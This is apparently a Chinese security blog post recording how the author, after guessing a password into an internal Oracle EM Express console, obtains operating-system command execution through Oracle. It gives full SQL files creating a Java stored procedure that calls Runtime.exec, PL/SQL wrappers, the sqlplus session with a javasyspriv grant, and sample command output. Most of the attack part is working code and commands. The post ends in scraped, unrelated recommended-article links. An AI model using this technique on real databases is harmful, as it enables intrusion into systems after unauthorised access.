成功连接上Oracle后,如何通过Oracle get到os-shell,网上搜集资料解决后进行简单记录。

经历如下:内网中发现oralce em express服务,一个oracle的web管理端,碰撞密码进入后,没有找到什么getshell的点,甚至数据查询等也没有发现,无意中发现了dispather设置项,通过添加dispather监听0.0.0.0后成功连接上数据库(默认的1521是监听在127.0.0.1上的)。

oracle提权执行命令工具oracleShell v0.1

为了快速getshell,通常先去找找有没有现成的实现,找到了rebeyond师傅写的一个小工具。

环境中的oracle版本为12c,这款工具是前两年开发,集成的jdbc版本低,不支持12c新的连接协议,连接会报ORA-28547错误,11g以下的版本应该是可以使用的。

使用sql*plus

Oracle的sql*plus是与oracle进行命令行交互的客户端工具,安装oracle一般会自带。

连接命令分两种(dba用户登录时带上as sysdba):sqlplus [email protected]:port/sid [as sysdba]

sqlplus /nolog

SQL> conn [email protected]:port/sid [as sysdba]

sqlplus自带了一个比较坑的命令host

SQL> host hostname

你会发现显示的是你本机的机器名,原来是在本机上执行命令,而不是在连接的远程机器上,好吧。。。

网上找来的方法:

首先在本地新建3个sql文件,用于sqlplus连接后进行执行

新建1.sql1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34create or replace and compile

java souRCe named "util"

as

import java.io.*;

import java.lang.*;

public class util extends Object

{

public static int RunThis(String args)

{

Runtime rt = Runtime.getRuntime();

int RC = -1;

try

{

Process p = rt.exec(args);

int bufSize = 4096;

BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);

int len;

byte buffer[] = new byte[bufSize];

// Echo back what the program spit out

while ((len = bis.read(buffer, 0, bufSize)) != -1)

System.out.write(buffer, 0, len);

RC = p.waitFor();

}

catch (Exception e)

{

e.printStackTrace();

RC = -1;

}

finally

{

return RC;

}

}

}

新建2.sql1

2

3

4

5create or replace

function run_cmd(p_cmd in varchar2) return number

as

language java

name 'util.RunThis(java.lang.String) return integer';

新建3.sql1

2

3

4

5

6create or replace procedure RC(p_cmd in varChar)

as

x number;

begin

x := run_cmd(p_cmd);

end;

登陆上去后依次执行1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39SQL> @1.sql

35 /

Java 已创建。

SQL> @2.sql

6 /

函数已创建。

SQL> @3.sql

7 /

过程已创建。

SQL>

SQL> variable x number;

SQL> set serveroutput on;

SQL> exec dbms_java.set_output(100000);

SQL> grant javasyspriv to system; [这里的system换成你的登录名,dba账户不需要执行这一步]

PL/SQL 过程已成功完成。

SQL> exec :x:=run_cmd('ipconfig');

Windows IP Configuration

Ethernet adapter 本地连接:

Connection-specific DNS Suffix . : localdomain

IP Address. . . . . . . . . . . . : 192.168.91.130

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 192.168.91.1

PL/SQL 过程已成功完成。

SQL> exec :x:=run_cmd('whoami'); 可以继续执行其他命令

win2003 + Oracle 11g,win2008 + Oracle 11g,win2008 + Oracle 12c 测试成功

我虽然使用sys登录,可惜的是拿到的系统权限还是很低。

后续还要对oracle以及oracle的安全问题原理进行研究。

2019-5-1更新:

发现了一个更加方便好用的工具:odat,github可以搜索到。

参考文章

oracle odat,通过Oracle执行系统命令相关推荐

  1. 使用sys导出oracle,oracle 让sys用户执行exp导出操作

    oracle 让sys用户执行exp导出操作 [oracle@localhost ~]$ exp sys/abcdefg as sysdba full=y file=/tmp/full100.dmp ...

  2. oracle数据提交不上去,oracle数据库命令窗口执行了语句但是没有提交会有什么影响吗...

    Oracle数据库里面有DCL语句(Data Control Language),一共有四个关键字,commit.rollback.grant和revoke.它们执行的时候,你都不会有什么感觉.com ...

  3. Oracle Sql语句定时执行

    Oracle Sql语句定时执行 本文链接:https://blog.csdn.net/qq_16979575/article/details/70169519 通过网上查询,找到一种方案,就是先在o ...

  4. oracle job有定时执行的功能,可以在指定的时间点或每天的某个时间点自行执行任务。...

    oracle job有定时执行的功能,可以在指定的时间点或每天的某个时间点自行执行任务. 一.查询系统中的job,可以查询视图 --相关视图 select * from dba_jobs; selec ...

  5. c#执行多句oracle,C#一次执行多条SQL语句,Oracle11g数据库

    由于经常执行SQL语句,如果一条一条执行效率低下. oarclecmd.CommandText = sqlstr; oraclecmd.ExecuteNonQuery(); sqlstr 可以写成如下 ...

  6. Oracle数据库是如何执行SQL的

    文章目录 1.参考资料 2.Oracle SQL执行过程 2.1.SQL语句的执行过程 2.1.1.全局角度来看SQL请求的执行过程 2.1.2.数据库端处理SQL具体过程 2.2.Oracle对解析 ...

  7. war包启动命令_【漏洞预警】Oracle WebLogic远程命令执行0day漏洞(CVE20192725补丁绕过)...

    概述 近日,奇安信天眼与安服团队通过数据监控发现,野外出现Oracle WebLogic远程命令执行漏洞最新利用代码,此攻击利用绕过了厂商今年4月底所发布的最新安全补丁(CVE-2019-2725). ...

  8. oracle强制停止执行,Oracle强制终止在执行的sql

    Oracle强制终止在执行的sql 在一下场景中,sql在javaweb程序中(非pq/sql或者sqlplus)执行时有些sql查询数据量较大导致了一下sql执行起来特别占用资源,致使jvm无法回收 ...

  9. oracle里面cat,Oracle 12c 中推荐使用 catcon.pl 执行SQL脚本

    https://www.cndba.cn/dave/article/225https://www.cndba.cn/dave/article/225 1    说明 在Oracle 12c中,Orac ...

最新文章

  1. python语言编程环境-python3编程环境搭建
  2. python安装pandas模块-python安装numpy和pandas的方法步骤
  3. MAC安装mysql8.0.11以及修改root密码
  4. 15.centos7基础学习与积累-001
  5. ios地图小例子和手势的使用 供大家参考一下呦
  6. mysql to char 用法_postgresql 中的to_char()常用操作
  7. 将微服务部署到 Azure Kubernetes 服务 (AKS) 实践
  8. python安装BeautifulSoup注意事项
  9. android手机 无线充电,无线充电手机有哪些?支持无线充电的手机推荐
  10. 对convertView和ViewHolder的理解
  11. Windows 2003声卡驱动的安装.
  12. 微软流媒体服务器直播,流媒体服务器Flussonic Media Server对直播流进行录制
  13. Word样式的导入与导出
  14. Nodejs Promise 读书笔记
  15. sql server中的怎么把数值型转换为字符串
  16. 机器学习:数据预处理之独热编码(One-Hot)详解
  17. Pytorch入门:60分钟快速入门,第一节:张量(tensor)
  18. 地理信息系统复习摘要
  19. gbase导入sql文件_Gbase配置
  20. 我个小菜鸡的博客都有人搬运,我都惊呆了——wsdchong

热门文章

  1. 计算机视觉 | YOLO开源项目汇总
  2. html 页面 底部固定 footer
  3. java 反射调用静态方法
  4. ajax提交数据到后台php接收
  5. RDKit | 多肽HELM字符串格式与分子Mol格式间的转换
  6. Science | 智能计算揭示前生命化学网络中合成的连接、出现和自我再生
  7. 数据分析工具Pandas(6):Pandas统计计算和描述
  8. linux常用快捷命令(不断更新)
  9. java随机产生字母排序_Java生成含字母和数字的6位随机字符串
  10. cs python课程 加州大学_B站的CS课程整理 搬运